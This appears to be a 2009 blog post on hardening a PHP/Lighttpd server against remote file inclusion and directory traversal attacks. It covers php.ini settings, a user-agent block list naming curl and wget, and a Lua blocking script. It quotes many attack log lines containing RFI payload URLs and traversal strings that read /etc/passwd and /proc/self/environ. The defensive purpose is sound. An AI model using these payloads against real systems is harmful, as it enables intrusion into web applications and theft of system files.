Long time Nullamatix readers know how much I love reviewing log files. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated attacks. In this post, I'll go over a couple ways to harden a PHP enabled web server and hopefully prevent: fx29id1.txt, id23.txt, id.txt, id1.txt, fxid.txt, one.txt, fx1.txt, and several other automated attacks from successfully exploiting common weaknesses.
php.ini
Before we get into blocking specific attacks, let's take a look at [and fix] the php.ini file. Two very dangerous and usually unnecessary options are: allow_url_fopen and allow_url_include.
allow_url_fopen from php.net:
This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.
allow_url_include
This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once().
Here are a couple 1 liners that will update the php.ini files and set those options to: Off
sed -i 's/allow_url_fopen = On/allow_url_fopen = Off;s/allow_url_include = On/allow_url_include = Off/' /etc/php5/cgi/php.ini sed -i 's/allow_url_fopen = On/allow_url_fopen = Off;s/allow_url_include = On/allow_url_include = Off/' /etc/php5/cli/php.ini
To commit the changes, restart your http daemon.
User-Agent Filtering
An additional step worth implementing to prevent automated attacks from inexperienced script kiddies is user-agent filtering. This won't stop an experienced attacker since the user-agent string is easily forged, but is definitely worth implementing, anyway.
User-agents to consider blocking:
- VB Project
- Twiceler-0.9
- Wordpress/2.7
- libwww-perl
- curl & CURL
- Python-urllib
- wget
- MofeusFuckingScanner
- Java/1.6
- Java/1.6.0_13
- MJ12bot
- WebDataCentreBot
- BDFetch
There are probably many others, but these are the agents I've found that 9 times out of 10 are up to no good. Here's how to implement user-agent blocking in Lighttpd. There are also ways to implement this same functionality with Apache/htaccess.
$HTTP["useragent"] =~ "VB Project|libwww-perl|curl" {
url.access-deny = ( "" )
}
Note: A great way to maintain access control lists in Lighttpd is to create a new file and just "include" it into your config. This keeps your primary Lighttpd config neat and organized.
Attack Detection
Now for the good stuff, log file analysis. Here are some of the attacks I mentioned in the title, condensed to show only 1 attack per IP rather than the half a dozen or more they really attempted:
209.92.156.53 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://hasslefreetours.co.za/wp-content/uploads/2008/01/idxx.txt?? HTTP/1.1" 205.234.184.42 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://stelsis.ru/clx/id3.txt?? HTTP/1.1" 125.245.165.135 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://couplehome.com/bbs/skin/ggerzer_diary/images/id1.txt??? HTTP/1.1" 64.22.119.110 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://kelapa.fileave.com/a.txt??? HTTP/1.1" 209.97.212.185 "GET ///calendar/?cfg[rootPath]=http://europraca.org/ariadna/xmlrpc/id1.txt?? HTTP/1.1" 190.97.219.4 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://creative-alchemy.com/zencart//media/id1.txt??? HTTP/1.1" 170.210.192.78 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.onclick-online.de/luchterhand/id1.txt?? HTTP/1.1" 200.31.105.19 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.onclick-online.de/luchterhand/id1.txt?? HTTP/1.1" 210.245.87.237 "GET /skins/advanced/advanced1.php?pluginpath[0]=http://rezosenzo.free.fr/phpRaid/id.txt?? HTTP/1.1" 64.22.119.110 "GET //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://kelapa.fileave.com/a.txt??? HTTP/1.1" 200.58.71.90 "GET /modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://www.hyonsvc.co.kr//bbs//skin/ggambo7002_board/s.txt? HTTP/1.1" 209.97.212.185 "GET //calendar/?cfg[rootPath]=http://d10770259.serv126.ixwebhosting.com//blocks/id1.txt?? HTTP/1.1" 174.143.159.60 "GET //modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://200.209.69.194/bot/fx29id.txt?? HTTP/1.1" 79.64.223.41 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt?? HTTP/1.1" 74.63.9.116 "GET //app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=http://www.computerpointonline.it/pub/eq1.txt?&mode=id HTTP/1.1" 190.97.219.4 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt?? HTTP/1.1" 211.234.106.119 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt??? HTTP/1.1" 190.97.219.4 "GET //snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt?? HTTP/1.1" 211.234.106.119 "GET /trackback//snippets/reflect/snippet.reflect.php?reflect_base=http://ucing.t35.com/id1.txt??? HTTP/1.1" 74.63.9.116 "GET //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.computerpointonline.it/pub/eq1.txt?&mode=id HTTP/1.1" 117.74.98.18 "GET ///assets/snippets/reflect/snippet.reflect.php?reflect_base=http://kontolku.150m.com/fx1.txt??? HTTP/1.1" 69.175.2.194 "GET //assets/snippets/reflect/snippet.reflect.php?reflect_base=http://f1gossip.org/temp/fx29id.txt?? HTTP/1.1" 193.0.88.1 "GET //?_SERVER[DOCUMENT_ROOT]=http://www.seorakhoney.com/shop/mail/one.txt??? HTTP/1.1" 64.33.77.13 "GET /?_SERVER%5BDOCUMENT_ROOT%5D=http://www.seorakhoney.com/shop/mail/one.txt??? HTTP/1.0" 78.110.50.121 "GET /newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://host.yfes.tyc.edu.tw/xoop2018/uploads/tadgallery/small/2009_01_06/id1.txt? HTTP/1.1" 217.6.171.44 "GET /errors.php?error=http://www.freewebtown.com/fucku10/fx29id1.txt?? HTTP/1.1" 110.45.145.165 "GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://n34.biz/.injek/id23.txt? HTTP/1.1" 217.6.171.44 "GET /errors.php?error=http://www.freewebtown.com/fucku10/fx29id1.txt?? HTTP/1.1" 110.45.145.165 "GET //assets/snippets/reflect/snippet.reflect.php?reflect_base=http://n34.biz/.injek/id23.txt? HTTP/1.1" 92.50.143.90 "GET /db_connect.php?baseDir/errors.php?error=http://www.ikant.co.kr///data/id.txt?? HTTP/1.1" 200.234.200.230 "GET ///vwar/backup/errors.php?error=http://www.computerpointonline.it/pub/eq1.txt?&mode=id HTTP/1.1" 67.223.249.152 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt??%20HTTP/1.1 HTTP/1.0" 66.249.65.200 "GET /?_SERVERDOCUMENT_ROOT=http://www.ewelder.co.kr/bbs//upload/id1.txt??%20HTTP/1.1 HTTP/1.1" 124.0.102.66 "GET /?path=http://n34.biz/id1.txt? HTTP/1.1"
To see the full list, check out this txt file.
To find these lamers, I used the following:
[nullamatix]:# cd /var/log/lighttpd
[nullamatix]:# grep -h '\/Dec\/2009:' *.log \
| egrep -v '\/robots\.txt|\/pubkey\.txt' \
| egrep -c '"GET .*=http:\/\/.* H|\.\.\/\.\.\/|\.txt.* H' \
| awk '{print $1" "$6" "$7" "$8}'
Can also try:
[nullamatix]:# grep -hr '\.\.\/\.\.\/' *.log \
| sed 's/ - \[.*"GET / "/' | awk '{print $1" - "$2" - "$3}'
This should output something similar to the following:
91.121.10.161 "//errors.php?error=../../../../../../../../../../../../../proc/self/environ%00 209.151.162.176 "//advanced1.php?pluginpath[0]=./../../../../../../../../etc/passwd 209.151.162.176 "/arcade1.php?phpbb_root_path=./../../../../../../../../etc/passwd%00 200.219.195.66 "/errors.php?error=./../../../../../../../../etc/passwd 68.166.79.199 "//admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 190.97.219.4 "//catalogue.php?cat=../../../../../../../../../../../../../etc/passwd%00 77.92.91.3 "/ashop/catalogue.php?cat=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
Lighttpd mod_security
Ok, mod_security isn't entirely true, but an lua script for mod_magnet is. The following will explain how to setup and maintain an intrusion detection/prevention system (IDS/IPS) for all your Lighttpd sites. The first step is to create the lua script, which I'll call mod_security.lua. Please be aware these instructions do not take chroot setups into consideration. If you're clever enough to deploy a chrooted instance of Lighttpd, you're probably clever enough to figure out how to make this work.
[nullamatix]:# touch /etc/lighttpd/mod_security.lua [nullamatix]:# chown www-data:www-data /etc/lighttpd/mod_security.lua [nullamatix]:# chmod 0600 /etc/lighttpd/mod_security.lua [nullamatix]:# vim /etc/lighttpd/mod_security.lua
Once mod_security.lua is open, copy/paste:
LOG = true
DROP = true
function retErr(e)
if (lighty.env["request.remote-ip"]) then
remoteip = lighty.env["request.remote-ip"]
else
remoteip = "UNKNOWN_IP"
end
if (LOG == true) then
print (remoteip .. " BLOCKED - " .. e .. " - " .. lighty.request["Host"] .. "" .. lighty.env["request.uri"])
end
if (DROP == true) then
return 405
end
end
function BadURL(c)
-- convert urls to all lowercase
d = string.lower(c)
if (string.find(d, "fx29id1.txt")) then
return retErr('Threat: fx29id1.txt')
elseif (string.find(d, "id23.txt")) then
return retErr('Threat: id23.txt')
elseif (string.find(d, "id.txt")) then
return retErr('Threat: id.txt')
elseif (string.find(d, "id1.txt")) then
return retErr('Threat: id1.txt')
elseif (string.find(d, "fxid.txt")) then
return retErr('Threat: fxid.txt')
elseif (string.find(c, "serveqdocument_root")) then
return retErr('Bad URL')
-- make sure all your patters are lowercase!
elseif (string.find(c, "server[document_root]")) then
return retErr('Bad URL')
end
end
if (BadURL(lighty.env["request.uri"]) == 405) then
ret = 405
end
return ret
If any lua gurus out there know of a less bloated better way to handle the string checks (if/elseif is not suckless), please post a comment or send me an email with your suggestion(s). An array type implementation might help with maintaining the BadURL strings, but I'm no lua developer. Anyway, back to the post....
If not enabled already, enable mod_magnet.
[nullamatix]:# lighty-enable-mod magnet
Or just add to "server.modules" in lighttpd.conf. Before restarting Lighttpd, mod_magnet has to know about mod_security.lua. To make sure all configured sites are protected by mod_security.lua, do not include this line in a HOST or SOCKET setting. Immediately after the sever.modules definition seems to work. For example (lighttpd.conf):
server.modules = ("mod_auth", "mod_evasive", "mod_magnet")
magnet.attract-physical-path-to = ("/etc/lighttpd/mod_security.lua")
Finally, restart Lighttpd and check the "server.errorlog" file (ie: /var/log/lighttpd/errors.log) to make sure Lighttpd restarted successfully. If mod_magnet failed to load or was unable to find mod_security.lua, your server will not restart. To make sure mod_security.lua is working correctly, tail -f /var/log/lighttpd/errors.log, try appending one of the BadURL strings to your domain, then hit it with Firefox.
For example:
www.Domain-X.com/wp-login.php?p=http://r00ted.biz/id1.txt?
If id1.txt is one of the strings defined in mod_security.lua, 405 - Method Not Allowed should appear in Firefox, and the errors.log should have an entry for the dropped request.
2009-12-10 11:48:14: (mod_magnet) (lua-print) 172.16.20.8 BLOCKED - Threat: id1.txt - www.Domain-X.com/wp-login.php?p=http://r00ted.biz/id1.txt?
If so, congratulations! You've taken a few small steps that should drastically improve the security of your server.
Conclusion
Realistically, this post is only the tip of the iceberg for proactive http server risk reduction. A reactive approach is better than an inactive approach, so take the time to study and review logs. If there's anything you'd like to add or just ask about, submit a comment below or email me.
Word Count: 1899
Tags: daemon, http, Httpd, Lighttpd, mod_security, php, rfi, Server



3 (Comments|Trackbacks)
[ RSS feed | Trackback URI | Leave a Comment ]
Very informative. I can't say I've been a big fan of ligghty but from reading quite a few of your posts it seems to be very powerful server with lots of security orientated features and abilities that would make maintaining a "secure" server much more feasible from a admin point of view. Mod_magnet looks pretty powerful, is lua scripting required to use the mod or just your chosen preference for implementation?
No doubt, think we've all had our fair share of frustration with Lighttpd at one point or another. Particularly, for me, was dealing with the url.rewrite order of operations. Anyway, think it's safe to say Lighttpd has come a long way. The active developers make Lighty better with each release.
Mod_magnet is *extremely* powerful, but can also hinder (halt) performance. I highly recommend thorough testing in a dev/test environment before dcking around with mod_magnet on a production box. And about the scripting requirement, yes, unfortunately. Have no idea why LUA was chosen, but it works and doesn't appear anywhere near as difficult as C or ASM
XOR ax,ax
INT 16h
CMP al,' '
JE input_loop
PUSH ax
CMP al,13
JNE input_loop
POP ax
JMP test_stack
commit.
If you're running Drupal, the RFI Report module will analyze the Drupal log for RFI attacks and displays full details in a table and charts.
I used to run Mambo and the website is probably listed somewhere as a possible exploit, the site attrackts 100 RFI attacks per day ...
Leave a Comment
Trackback Responses to This Post: